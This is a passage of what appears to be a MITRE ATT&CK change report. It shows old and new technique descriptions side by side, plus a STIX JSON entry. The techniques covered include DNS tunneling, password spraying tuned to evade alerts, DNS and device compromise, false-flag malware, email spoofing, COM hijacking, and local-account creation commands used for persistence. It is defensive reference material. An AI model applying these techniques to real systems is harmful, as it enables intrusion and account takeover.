| > | remote system, and often the results of those commands, wil | > | remote system, and often the results of those commands, wil | ||
| > | l be embedded within the protocol traffic between the client | > | l be embedded within the protocol traffic between the client | ||
| > | and server. The DNS protocol serves an administrative fun | > | and server. The DNS protocol serves an administrative fun | ||
| > | ction in computer networking and thus may be very common in | > | ction in computer networking and thus may be very common in | ||
| > | environments. DNS traffic may also be allowed even before ne | > | environments. DNS traffic may also be allowed even before ne | ||
| > | twork authentication is completed. DNS packets contain many | > | twork authentication is completed. DNS packets contain many | ||
| > | fields and headers in which data can be concealed. Often kno | > | fields and headers in which data can be concealed. Often kno | ||
| > | wn as DNS tunneling, adversaries may abuse DNS to communicat | > | wn as DNS tunneling, adversaries may abuse DNS to communicat | ||
| > | e with systems under their control within a victim network w | > | e with systems under their control within a victim network w | ||
| > | hile also mimicking normal, expected traffic.(Citation: PAN | > | hile also mimicking normal, expected traffic.(Citation: PAN | ||
| > | DNS Tunneling)(Citation: Medium DnsTunneling) | > | DNS Tunneling)(Citation: Medium DnsTunneling) DNS beaconing | ||
| > | may be used to send commands to remote systems via DNS quer | ||||
| > | ies. A DNS beacon is created by tunneling DNS traffic (i.e.\u202f | ||||
| > | [Protocol Tunneling](https://attack.mitre.org/techniques/T15 | ||||
| > | 72)). The commands may be embedded into different DNS record | ||||
| > | s, for example, TXT or A records.(Citation: OilRig Uses Upda | ||||
| > | ted BONDUPDATER to Target Middle Eastern Government) DNS bea | ||||
| > | cons may be difficult to detect because the beacons infreque | ||||
| > | ntly communicate with infected devices.(Citation: DNS Beacon | ||||
| > | s) Infrequent communication conceals the malicious DNS traff | ||||
| > | ic with normal DNS traffic. |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use brute force techniques to gain access to | t | 1 | Adversaries may use brute force techniques to gain access to |
| > | accounts when passwords are unknown or when password hashes | > | accounts when passwords are unknown or when password hashes | ||
| > | are obtained.(Citation: TrendMicro Pawn Storm Dec 2020) Wit | > | are obtained.(Citation: TrendMicro Pawn Storm Dec 2020) Wit | ||
| > | hout knowledge of the password for an account or set of acco | > | hout knowledge of the password for an account or set of acco | ||
| > | unts, an adversary may systematically guess the password usi | > | unts, an adversary may systematically guess the password usi | ||
| > | ng a repetitive or iterative mechanism.(Citation: Dragos Cra | > | ng a repetitive or iterative mechanism.(Citation: Dragos Cra | ||
| > | shoverride 2018) Brute forcing passwords can take place via | > | shoverride 2018) Brute forcing passwords can take place via | ||
| > | interaction with a service that will check the validity of t | > | interaction with a service that will check the validity of t | ||
| > | hose credentials or offline against previously acquired cred | > | hose credentials or offline against previously acquired cred | ||
| > | ential data, such as password hashes. Brute forcing credent | > | ential data, such as password hashes. Brute forcing credent | ||
| > | ials may take place at various points during a breach. For e | > | ials may take place at various points during a breach. For e | ||
| > | xample, adversaries may attempt to brute force access to [Va | > | xample, adversaries may attempt to brute force access to [Va | ||
| > | lid Accounts](https://attack.mitre.org/techniques/T1078) wit | > | lid Accounts](https://attack.mitre.org/techniques/T1078) wit | ||
| > | hin a victim environment leveraging knowledge gathered from | > | hin a victim environment leveraging knowledge gathered from | ||
| > | other post-compromise behaviors such as [OS Credential Dumpi | > | other post-compromise behaviors such as [OS Credential Dumpi | ||
| > | ng](https://attack.mitre.org/techniques/T1003), [Account Dis | > | ng](https://attack.mitre.org/techniques/T1003), [Account Dis | ||
| > | covery](https://attack.mitre.org/techniques/T1087), or [Pass | > | covery](https://attack.mitre.org/techniques/T1087), or [Pass | ||
| > | word Policy Discovery](https://attack.mitre.org/techniques/T | > | word Policy Discovery](https://attack.mitre.org/techniques/T | ||
| > | 1201). Adversaries may also combine brute forcing activity w | > | 1201). Adversaries may also combine brute forcing activity w | ||
| > | ith behaviors such as [External Remote Services](https://att | > | ith behaviors such as [External Remote Services](https://att | ||
| > | ack.mitre.org/techniques/T1133) as part of Initial Access. | > | ack.mitre.org/techniques/T1133) as part of Initial Access. | ||
| > | If an adversary guesses the correct password but fails to l | ||||
| > | ogin to a compromised account due to location-based conditio | ||||
| > | nal access policies, they may change their infrastructure un | ||||
| > | til they match the victim\u2019s location and therefore bypass th | ||||
| > | ose policies.(Citation: ReliaQuest Health Care Social Engine | ||||
| > | ering Campaign 2024) |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use a single or small list of commonly used | t | 1 | Adversaries may use a single or small list of commonly used |
| > | passwords against many different accounts to attempt to acqu | > | passwords against many different accounts to attempt to acqu | ||
| > | ire valid account credentials. Password spraying uses one pa | > | ire valid account credentials. Password spraying uses one pa | ||
| > | ssword (e.g. 'Password01'), or a small list of commonly used | > | ssword (e.g. 'Password01'), or a small list of commonly used | ||
| > | passwords, that may match the complexity policy of the doma | > | passwords, that may match the complexity policy of the doma | ||
| > | in. Logins are attempted with that password against many dif | > | in. Logins are attempted with that password against many dif | ||
| > | ferent accounts on a network to avoid account lockouts that | > | ferent accounts on a network to avoid account lockouts that | ||
| > | would normally occur when brute forcing a single account wit | > | would normally occur when brute forcing a single account wit | ||
| > | h many passwords. (Citation: BlackHillsInfosec Password Spra | > | h many passwords. (Citation: BlackHillsInfosec Password Spra | ||
| > | ying) Typically, management services over commonly used por | > | ying) Typically, management services over commonly used por | ||
| > | ts are used when password spraying. Commonly targeted servic | > | ts are used when password spraying. Commonly targeted servic | ||
| > | es include the following: * SSH (22/TCP) * Telnet (23/TCP) | > | es include the following: * SSH (22/TCP) * Telnet (23/TCP) | ||
| > | * FTP (21/TCP) * NetBIOS / SMB / Samba (139/TCP & 445/TCP) * | > | * FTP (21/TCP) * NetBIOS / SMB / Samba (139/TCP & 445/TCP) * | ||
| > | LDAP (389/TCP) * Kerberos (88/TCP) * RDP / Terminal Service | > | LDAP (389/TCP) * Kerberos (88/TCP) * RDP / Terminal Service | ||
| > | s (3389/TCP) * HTTP/HTTP Management Services (80/TCP & 443/T | > | s (3389/TCP) * HTTP/HTTP Management Services (80/TCP & 443/T | ||
| > | CP) * MSSQL (1433/TCP) * Oracle (1521/TCP) * MySQL (3306/TCP | > | CP) * MSSQL (1433/TCP) * Oracle (1521/TCP) * MySQL (3306/TCP | ||
| > | ) * VNC (5900/TCP) In addition to management services, adve | > | ) * VNC (5900/TCP) In addition to management services, adve | ||
| > | rsaries may \"target single sign-on (SSO) and cloud-based app | > | rsaries may \"target single sign-on (SSO) and cloud-based app | ||
| > | lications utilizing federated authentication protocols,\" as | > | lications utilizing federated authentication protocols,\" as | ||
| > | well as externally facing email applications, such as Office | > | well as externally facing email applications, such as Office | ||
| > | 365.(Citation: US-CERT TA18-068A 2018) In default environm | > | 365.(Citation: US-CERT TA18-068A 2018) In order to avoid d | ||
| > | ents, LDAP and Kerberos connection attempts are less likely | > | etection thresholds, adversaries may deliberately throttle p | ||
| > | to trigger events over SMB, which creates Windows \"logon fai | > | assword spraying attempts to avoid triggering security alert | ||
| > | lure\" event ID 4625. | > | ing. Additionally, adversaries may leverage LDAP and Kerbero | ||
| > | s authentication attempts, which are less likely to trigger | ||||
| > | high-visibility events such as Windows \"logon failure\" event | ||||
| > | ID 4625 that is commonly triggered by failed SMB connection | ||||
| > | attempts.(Citation: Microsoft Storm-0940) |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may compromise third-party DNS servers that can | t | 1 | Adversaries may compromise third-party DNS servers that can |
| > | be used during targeting. During post-compromise activity, a | > | be used during targeting. During post-compromise activity, a | ||
| > | dversaries may utilize DNS traffic for various tasks, includ | > | dversaries may utilize DNS traffic for various tasks, includ | ||
| > | ing for Command and Control (ex: [Application Layer Protocol | > | ing for Command and Control (ex: [Application Layer Protocol | ||
| > | ](https://attack.mitre.org/techniques/T1071)). Instead of se | > | ](https://attack.mitre.org/techniques/T1071)). Instead of se | ||
| > | tting up their own DNS servers, adversaries may compromise t | > | tting up their own DNS servers, adversaries may compromise t | ||
| > | hird-party DNS servers in support of operations. By comprom | > | hird-party DNS servers in support of operations. By comprom | ||
| > | ising DNS servers, adversaries can alter DNS records. Such c | > | ising DNS servers, adversaries can alter DNS records. Such c | ||
| > | ontrol can allow for redirection of an organization's traffi | > | ontrol can allow for redirection of an organization's traffi | ||
| > | c, facilitating Collection and Credential Access efforts for | > | c, facilitating Collection and Credential Access efforts for | ||
| > | the adversary.(Citation: Talos DNSpionage Nov 2018)(Citatio | > | the adversary.(Citation: Talos DNSpionage Nov 2018)(Citatio | ||
| > | n: FireEye DNS Hijack 2019) Additionally, adversaries may l | > | n: FireEye DNS Hijack 2019) Additionally, adversaries may l | ||
| > | everage such control in conjunction with [Digital Certificat | > | everage such control in conjunction with [Digital Certificat | ||
| > | es](https://attack.mitre.org/techniques/T1588/004) to redire | > | es](https://attack.mitre.org/techniques/T1588/004) to redire | ||
| > | ct traffic to adversary-controlled infrastructure, mimicking | > | ct traffic to adversary-controlled infrastructure, mimicking | ||
| > | normal trusted network communications.(Citation: FireEye DN | > | normal trusted network communications.(Citation: FireEye DN | ||
| > | S Hijack 2019)(Citation: Crowdstrike DNS Hijack 2019) Advers | > | S Hijack 2019)(Citation: Crowdstrike DNS Hijack 2019) Altern | ||
| > | aries may also be able to silently create subdomains pointed | > | atively, they may be able to prove ownership of a domain to | ||
| > | at malicious servers without tipping off the actual owner o | > | a SaaS service in order to assert control of the service or | ||
| > | f the DNS server.(Citation: CiscoAngler)(Citation: Proofpoin | > | create a new administrative [Cloud Account](https://attack.m | ||
| > | t Domain Shadowing) | > | itre.org/techniques/T1136/003).(Citation: CyberCX SaaS Domai | ||
| > | n Hijacking 2025) Adversaries may also be able to silently c | ||||
| > | reate subdomains pointed at malicious servers without tippin | ||||
| > | g off the actual owner of the DNS server.(Citation: CiscoAng | ||||
| > | ler)(Citation: Proofpoint Domain Shadowing) |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may compromise third-party network devices that | t | 1 | Adversaries may compromise third-party network devices that |
| > | can be used during targeting. Network devices, such as small | > | can be used during targeting. Network devices, such as small | ||
| > | office/home office (SOHO) routers, may be compromised where | > | office/home office (SOHO) routers, may be compromised where | ||
| > | the adversary's ultimate goal is not [Initial Access](https | > | the adversary's ultimate goal is not [Initial Access](https | ||
| > | ://attack.mitre.org/tactics/TA0001) to that environment -- i | > | ://attack.mitre.org/tactics/TA0001) to that environment, but | ||
| > | nstead leveraging these devices to support additional target | > | rather to leverage these devices to support additional targ | ||
| > | ing. Once an adversary has control, compromised network dev | > | eting. Once an adversary has control, compromised network d | ||
| > | ices can be used to launch additional operations, such as ho | > | evices can be used to launch additional operations, such as | ||
| > | sting payloads for [Phishing](https://attack.mitre.org/techn | > | hosting payloads for [Phishing](https://attack.mitre.org/tec | ||
| > | iques/T1566) campaigns (i.e., [Link Target](https://attack.m | > | hniques/T1566) campaigns (i.e., [Link Target](https://attack | ||
| > | itre.org/techniques/T1608/005)) or enabling the required acc | > | .mitre.org/techniques/T1608/005)) or enabling the required a | ||
| > | ess to execute [Content Injection](https://attack.mitre.org/ | > | ccess to execute [Content Injection](https://attack.mitre.or | ||
| > | techniques/T1659) operations. Adversaries may also be able t | > | g/techniques/T1659) operations. Adversaries may also be able | ||
| > | o harvest reusable credentials (i.e., [Valid Accounts](https | > | to harvest reusable credentials (i.e., [Valid Accounts](htt | ||
| > | ://attack.mitre.org/techniques/T1078)) from compromised netw | > | ps://attack.mitre.org/techniques/T1078)) from compromised ne | ||
| > | ork devices. Adversaries often target Internet-facing edge | > | twork devices. Adversaries often target Internet-facing edg | ||
| > | devices and related network appliances that specifically do | > | e devices and related network appliances that specifically d | ||
| > | not support robust host-based defenses.(Citation: Mandiant F | > | o not support robust host-based defenses.(Citation: Mandiant | ||
| > | ortinet Zero Day)(Citation: Wired Russia Cyberwar) Compromi | > | Fortinet Zero Day)(Citation: Wired Russia Cyberwar) Compro | ||
| > | sed network devices may be used to support subsequent [Comma | > | mised network devices may be used to support subsequent [Com | ||
| > | nd and Control](https://attack.mitre.org/tactics/TA0011) act | > | mand and Control](https://attack.mitre.org/tactics/TA0011) a | ||
| > | ivity, such as [Hide Infrastructure](https://attack.mitre.or | > | ctivity, such as [Hide Infrastructure](https://attack.mitre. | ||
| > | g/techniques/T1665) through an established [Proxy](https://a | > | org/techniques/T1665) through an established [Proxy](https:/ | ||
| > | ttack.mitre.org/techniques/T1090) and/or [Botnet](https://at | > | /attack.mitre.org/techniques/T1090) and/or [Botnet](https:// | ||
| > | tack.mitre.org/techniques/T1584/005) network.(Citation: Just | > | attack.mitre.org/techniques/T1584/005) network.(Citation: Ju | ||
| > | ice GRU 2024) | > | stice GRU 2024) |
net user /add command can be used to create a local account. In Linux, the `useradd` command can be used, while on macOS systems, the dscl -create command can be used. Local accounts may also be added to network devices, often via common [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as username, to ESXi servers via `esxcli system account add`, or to Kubernetes clusters using the `kubectl` utility.(Citation: cisco_username_cmd)(Citation: Kubernetes Service Accounts Security)\n\nAdversaries may also create new local accounts on network firewall management consoles \u2013 for example, by exploiting a vulnerable firewall management system, threat actors may be able to establish super-admin accounts that could be used to modify firewall rules and gain further access to the network.(Citation: Cyber Security News)\n\nSuch accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "persistence"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1136/001",
+ "external_id": "T1136.001"
+ },
+ {
+ "source_name": "cisco_username_cmd",
+ "description": "Cisco. (2023, March 6). username - Cisco IOS Security Command Reference: Commands S to Z. Retrieved July 13, 2022.",
+ "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/security/s1/sec-s1-cr-book/sec-cr-t2.html#wp1047035630"
+ },
+ {
+ "source_name": "Cyber Security News",
+ "description": "Kaaviya. (n.d.). SuperBlack Actors Exploiting Two Fortinet Vulnerabilities to Deploy Ransomware. Retrieved September 22, 2025.",
+ "url": "https://cybersecuritynews.com/superblack-actors-exploiting-two-fortinet-vulnerabilities/"
+ },
+ {
+ "source_name": "Kubernetes Service Accounts Security",
+ "description": "Kubernetes. (n.d.). Service Accounts. Retrieved July 14, 2023.",
+ "url": "https://kubernetes.io/docs/concepts/security/service-accounts/"
+ },
+ {
+ "source_name": "Microsoft User Creation Event",
+ "description": "Lich, B., Miroshnikov, A. (2017, April 5). 4720(S): A user account was created. Retrieved June 30, 2017.",
+ "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4720"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.3.0",
+ "x_mitre_contributors": [
+ "Austin Clark, @c2defense"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Linux",
+ "macOS",
+ "Windows",
+ "Network Devices",
+ "Containers",
+ "ESXi"
+ ],
+ "x_mitre_version": "1.5",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"User Account: User Account Creation\", \"Process: Process Creation\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:51.903000+00:00\", \"old_value\": \"2025-04-15 19:58:36.237000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may create a local account to maintain access to victim systems. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service. \\n\\nFor example, with a sufficient level of access, the Windows net user /add command can be used to create a local account. In Linux, the `useradd` command can be used, while on macOS systems, the dscl -create command can be used. Local accounts may also be added to network devices, often via common [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as username, to ESXi servers via `esxcli system account add`, or to Kubernetes clusters using the `kubectl` utility.(Citation: cisco_username_cmd)(Citation: Kubernetes Service Accounts Security)\\n\\nAdversaries may also create new local accounts on network firewall management consoles \\u2013 for example, by exploiting a vulnerable firewall management system, threat actors may be able to establish super-admin accounts that could be used to modify firewall rules and gain further access to the network.(Citation: Cyber Security News)\\n\\nSuch accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.\", \"old_value\": \"Adversaries may create a local account to maintain access to victim systems. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service. \\n\\nFor example, with a sufficient level of access, the Windows net user /add command can be used to create a local account. In Linux, the `useradd` command can be used, while on macOS systems, the dscl -create command can be used. Local accounts may also be added to network devices, often via common [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as username, to ESXi servers via `esxcli system account add`, or to Kubernetes clusters using the `kubectl` utility.(Citation: cisco_username_cmd)(Citation: Kubernetes Service Accounts Security)\\n\\nSuch accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.\", \"diff\": \"--- \\n+++ \\n@@ -2,4 +2,6 @@\\n \\n For example, with a sufficient level of access, the Windows net user /add command can be used to create a local account. In Linux, the `useradd` command can be used, while on macOS systems, the dscl -create command can be used. Local accounts may also be added to network devices, often via common [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as username, to ESXi servers via `esxcli system account add`, or to Kubernetes clusters using the `kubectl` utility.(Citation: cisco_username_cmd)(Citation: Kubernetes Service Accounts Security)\\n \\n+Adversaries may also create new local accounts on network firewall management consoles \\u2013 for example, by exploiting a vulnerable firewall management system, threat actors may be able to establish super-admin accounts that could be used to modify firewall rules and gain further access to the network.(Citation: Cyber Security News)\\n+\\n Such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for processes and command-line parameters associated with local account creation, such as net user /add , useradd , and dscl -create . Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows system. (Citation: Microsoft User Creation Event) Perform regular audits of local system accounts to detect suspicious accounts that may have been created by an adversary. For network infrastructure devices, collect AAA logging to monitor for account creations.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.5\", \"old_value\": \"1.4\"}}, \"iterable_item_added\": {\"root['external_references'][2]\": {\"source_name\": \"Cyber Security News\", \"description\": \"Kaaviya. (n.d.). SuperBlack Actors Exploiting Two Fortinet Vulnerabilities to Deploy Ransomware. Retrieved September 22, 2025.\", \"url\": \"https://cybersecuritynews.com/superblack-actors-exploiting-two-fortinet-vulnerabilities/\"}}}",
+ "previous_version": "1.4",
+ "version_change": "1.4 \u2192 1.5",
+ "description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may create a local account to maintain access to | t | 1 | Adversaries may create a local account to maintain access to |
| > | victim systems. Local accounts are those configured by an o | > | victim systems. Local accounts are those configured by an o | ||
| > | rganization for use by users, remote support, services, or f | > | rganization for use by users, remote support, services, or f | ||
| > | or administration on a single system or service. For examp | > | or administration on a single system or service. For examp | ||
| > | le, with a sufficient level of access, the Windows <code>net | > | le, with a sufficient level of access, the Windows <code>net | ||
| > | user /add</code> command can be used to create a local acco | > | user /add</code> command can be used to create a local acco | ||
| > | unt. In Linux, the `useradd` command can be used, while on | > | unt. In Linux, the `useradd` command can be used, while on | ||
| > | macOS systems, the <code>dscl -create</code> command can be | > | macOS systems, the <code>dscl -create</code> command can be | ||
| > | used. Local accounts may also be added to network devices, o | > | used. Local accounts may also be added to network devices, o | ||
| > | ften via common [Network Device CLI](https://attack.mitre.or | > | ften via common [Network Device CLI](https://attack.mitre.or | ||
| > | g/techniques/T1059/008) commands such as <code>username</cod | > | g/techniques/T1059/008) commands such as <code>username</cod | ||
| > | e>, to ESXi servers via `esxcli system account add`, or to K | > | e>, to ESXi servers via `esxcli system account add`, or to K | ||
| > | ubernetes clusters using the `kubectl` utility.(Citation: ci | > | ubernetes clusters using the `kubectl` utility.(Citation: ci | ||
| > | sco_username_cmd)(Citation: Kubernetes Service Accounts Secu | > | sco_username_cmd)(Citation: Kubernetes Service Accounts Secu | ||
| > | rity) Such accounts may be used to establish secondary cred | > | rity) Adversaries may also create new local accounts on net | ||
| > | entialed access that do not require persistent remote access | > | work firewall management consoles \u2013 for example, by exploiti | ||
| > | tools to be deployed on the system. | > | ng a vulnerable firewall management system, threat actors ma | ||
| > | y be able to establish super-admin accounts that could be us | ||||
| > | ed to modify firewall rules and gain further access to the n | ||||
| > | etwork.(Citation: Cyber Security News) Such accounts may be | ||||
| > | used to establish secondary credentialed access that do not | ||||
| > | require persistent remote access tools to be deployed on th | ||||
| > | e system. |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may search local system sources, such as file sy | t | 1 | Adversaries may search local system sources, such as file sy |
| > | stems, configuration files, local databases, or virtual mach | > | stems, configuration files, local databases, virtual machine | ||
| > | ine files, to find files of interest and sensitive data prio | > | files, or process memory, to find files of interest and sen | ||
| > | r to Exfiltration. Adversaries may do this using a [Command | > | sitive data prior to Exfiltration. Adversaries may do this | ||
| > | and Scripting Interpreter](https://attack.mitre.org/techniq | > | using a [Command and Scripting Interpreter](https://attack.m | ||
| > | ues/T1059), such as [cmd](https://attack.mitre.org/software/ | > | itre.org/techniques/T1059), such as [cmd](https://attack.mit | ||
| > | S0106) as well as a [Network Device CLI](https://attack.mitr | > | re.org/software/S0106) as well as a [Network Device CLI](htt | ||
| > | e.org/techniques/T1059/008), which have functionality to int | > | ps://attack.mitre.org/techniques/T1059/008), which have func | ||
| > | eract with the file system to gather information.(Citation: | > | tionality to interact with the file system to gather informa | ||
| > | show_run_config_cmd_cisco) Adversaries may also use [Automat | > | tion.(Citation: show_run_config_cmd_cisco) Adversaries may a | ||
| > | ed Collection](https://attack.mitre.org/techniques/T1119) on | > | lso use [Automated Collection](https://attack.mitre.org/tech | ||
| > | the local system. | > | niques/T1119) on the local system. |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may develop malware and malware components that | t | 1 | Adversaries may develop malware and malware components that |
| > | can be used during targeting. Building malicious software ca | > | can be used during targeting. Building malicious software ca | ||
| > | n include the development of payloads, droppers, post-compro | > | n include the development of payloads, droppers, post-compro | ||
| > | mise tools, backdoors (including backdoored images), packers | > | mise tools, backdoors (including backdoored images), packers | ||
| > | , C2 protocols, and the creation of infected removable media | > | , C2 protocols, and the creation of infected removable media | ||
| > | . Adversaries may develop malware to support their operation | > | . Adversaries may develop malware to support their operation | ||
| > | s, creating a means for maintaining control of remote machin | > | s, creating a means for maintaining control of remote machin | ||
| > | es, evading defenses, and executing post-compromise behavior | > | es, evading defenses, and executing post-compromise behavior | ||
| > | s.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Cita | > | s.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Cita | ||
| > | tion: ActiveMalwareEnergy)(Citation: FBI Flash FIN7 USB) As | > | tion: ActiveMalwareEnergy)(Citation: FBI Flash FIN7 USB) Du | ||
| > | with legitimate development efforts, different skill sets m | > | ring malware development, adversaries may intentionally incl | ||
| > | ay be required for developing malware. The skills needed may | > | ude indicators aligned with other known actors in order to m | ||
| > | be located in-house, or may need to be contracted out. Use | > | islead attribution by defenders.(Citation: Olympic Destroyer | ||
| > | of a contractor may be considered an extension of that adver | > | )(Citation: Risky Bulletin Threat actor impersonates FSB APT | ||
| > | sary's malware development capabilities, provided the advers | > | )(Citation: GamaCopy organization) As with legitimate devel | ||
| > | ary plays a role in shaping requirements and maintains a deg | > | opment efforts, different skill sets may be required for dev | ||
| > | ree of exclusivity to the malware. Some aspects of malware | > | eloping malware. The skills needed may be located in-house, | ||
| > | development, such as C2 protocol development, may require ad | > | or may need to be contracted out. Use of a contractor may be | ||
| > | versaries to obtain additional infrastructure. For example, | > | considered an extension of that adversary's malware develop | ||
| > | malware developed that will communicate with Twitter for C2, | > | ment capabilities, provided the adversary plays a role in sh | ||
| > | may require use of [Web Services](https://attack.mitre.org/ | > | aping requirements and maintains a degree of exclusivity to | ||
| > | techniques/T1583/006).(Citation: FireEye APT29) | > | the malware. Some aspects of malware development, such as C | ||
| > | 2 protocol development, may require adversaries to obtain ad | ||||
| > | ditional infrastructure. For example, malware developed that | ||||
| > | will communicate with Twitter for C2, may require use of [W | ||||
| > | eb Services](https://attack.mitre.org/techniques/T1583/006). | ||||
| > | (Citation: FireEye APT29) |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may fake, or spoof, a sender\u2019s identity by modif | t | 1 | Adversaries may fake, or spoof, a sender\u2019s identity by modif |
| > | ying the value of relevant email headers in order to establi | > | ying the value of relevant email headers in order to establi | ||
| > | sh contact with victims under false pretenses.(Citation: Pro | > | sh contact with victims under false pretenses.(Citation: Pro | ||
| > | ofpoint TA427 April 2024) In addition to actual email conten | > | ofpoint TA427 April 2024) In addition to actual email conten | ||
| > | t, email headers (such as the FROM header, which contains th | > | t, email headers (such as the FROM header, which contains th | ||
| > | e email address of the sender) may also be modified. Email c | > | e email address of the sender) may also be modified. Email c | ||
| > | lients display these headers when emails appear in a victim' | > | lients display these headers when emails appear in a victim' | ||
| > | s inbox, which may cause modified emails to appear as if the | > | s inbox, which may cause modified emails to appear as if the | ||
| > | y were from the spoofed entity. This behavior may succeed | > | y were from the spoofed entity. This behavior may succeed | ||
| > | when the spoofed entity either does not enable or enforce id | > | when the spoofed entity either does not enable or enforce id | ||
| > | entity authentication tools such as Sender Policy Framework | > | entity authentication tools such as Sender Policy Framework | ||
| > | (SPF), DomainKeys Identified Mail (DKIM), and/or Domain-base | > | (SPF), DomainKeys Identified Mail (DKIM), and/or Domain-base | ||
| > | d Message Authentication, Reporting and Conformance (DMARC). | > | d Message Authentication, Reporting and Conformance (DMARC). | ||
| > | (Citation: Cloudflare DMARC, DKIM, and SPF)(Citation: DMARC- | > | (Citation: Cloudflare DMARC, DKIM, and SPF)(Citation: DMARC- | ||
| > | overview)(Citation: Proofpoint-DMARC) Even if SPF and DKIM a | > | overview)(Citation: Proofpoint-DMARC) Even if SPF and DKIM a | ||
| > | re configured properly, spoofing may still succeed when a do | > | re configured properly, spoofing may still succeed when a do | ||
| > | main sets a weak DMARC policy such as `v=DMARC1; p=none; fo= | > | main sets a weak DMARC policy such as `v=DMARC1; p=none; fo= | ||
| > | 1;`. This means that while DMARC is technically present, ema | > | 1;`. This means that while DMARC is technically present, ema | ||
| > | il servers are not instructed to take any filtering action w | > | il servers are not instructed to take any filtering action w | ||
| > | hen emails fail authentication checks.(Citation: Proofpoint | > | hen emails fail authentication checks.(Citation: Proofpoint | ||
| > | TA427 April 2024)(Citation: ic3-dprk) Adversaries may abuse | > | TA427 April 2024)(Citation: ic3-dprk) Adversaries may abuse | ||
| > | absent or weakly configured SPF, SKIM, and/or DMARC policie | > | Microsoft 365\u2019s Direct Send functionality to spoof internal | ||
| > | s to conceal social engineering attempts(Citation: ic3-dprk) | > | users by using internal devices like printers to send email | ||
| > | such as [Phishing](https://attack.mitre.org/techniques/T156 | > | s without authentication.(Citation: Barnea DirectSend) Adver | ||
| > | 6). They may also leverage email spoofing for [Impersonation | > | saries may also abuse absent or weakly configured SPF, SKIM, | ||
| > | ](https://attack.mitre.org/techniques/T1656) of legitimate e | > | and/or DMARC policies to conceal social engineering attempt | ||
| > | xternal individuals and organizations, such as journalists a | > | s(Citation: ic3-dprk) such as [Phishing](https://attack.mitr | ||
| > | nd academics.(Citation: ic3-dprk) | > | e.org/techniques/T1566). They may also leverage email spoofi | ||
| > | ng for [Impersonation](https://attack.mitre.org/techniques/T | ||||
| > | 1656) of legitimate external individuals and organizations, | ||||
| > | such as journalists and academics.(Citation: ic3-dprk) |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may establish persistence by executing malicious | t | 1 | Adversaries may establish persistence by executing malicious |
| > | content triggered by hijacked references to Component Objec | > | content triggered by hijacked references to Component Objec | ||
| > | t Model (COM) objects. COM is a system within Windows to ena | > | t Model (COM) objects. COM is a system within Windows to ena | ||
| > | ble interaction between software components through the oper | > | ble interaction between software components through the oper | ||
| > | ating system.(Citation: Microsoft Component Object Model) R | > | ating system.(Citation: Microsoft Component Object Model) R | ||
| > | eferences to various COM objects are stored in the Registry. | > | eferences to various COM objects are stored in the Registry. | ||
| > | Adversaries can use the COM system to insert malicious co | > | Adversaries may use the COM system to insert malicious co | ||
| > | de that can be executed in place of legitimate software thro | > | de that can be executed in place of legitimate software thro | ||
| > | ugh hijacking the COM references and relationships as a mean | > | ugh hijacking the COM references and relationships as a mean | ||
| > | s for persistence. Hijacking a COM object requires a change | > | s for persistence. Hijacking a COM object requires a change | ||
| > | in the Registry to replace a reference to a legitimate syste | > | in the Registry to replace a reference to a legitimate syste | ||
| > | m component which may cause that component to not work when | > | m component which may cause that component to not work when | ||
| > | executed. When that system component is executed through nor | > | executed. When that system component is executed through nor | ||
| > | mal system operation the adversary's code will be executed i | > | mal system operation the adversary's code will be executed i | ||
| > | nstead.(Citation: GDATA COM Hijacking) An adversary is likel | > | nstead.(Citation: GDATA COM Hijacking) An adversary is likel | ||
| > | y to hijack objects that are used frequently enough to maint | > | y to hijack objects that are used frequently enough to maint | ||
| > | ain a consistent level of persistence, but are unlikely to b | > | ain a consistent level of persistence, but are unlikely to b | ||
| > | reak noticeable functionality within the system as to avoid | > | reak noticeable functionality within the system as to avoid | ||
